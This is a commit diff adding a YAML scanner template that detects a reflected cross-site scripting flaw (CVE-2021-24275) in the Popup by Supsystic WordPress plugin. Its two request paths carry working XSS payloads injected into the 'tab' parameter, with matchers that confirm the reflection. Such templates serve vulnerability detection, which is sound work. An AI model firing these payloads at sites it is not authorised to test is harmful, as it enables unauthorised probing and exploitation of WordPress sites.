Create CVE-2021-24275.yaml

cves/2021/CVE-2021-24275.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-24275
+
+info:
+  name: Popup by Supsystic < 1.10.5 - Reflected Cross-Site scripting (XSS)
+  author: dhiyaneshDK
+  severity: low
+  reference:
+    - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
+  tags: wordpress,cves,cve2021
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab="onmouseover=alert(/XSS/)//'
+      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'alert(/XSS/)/'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header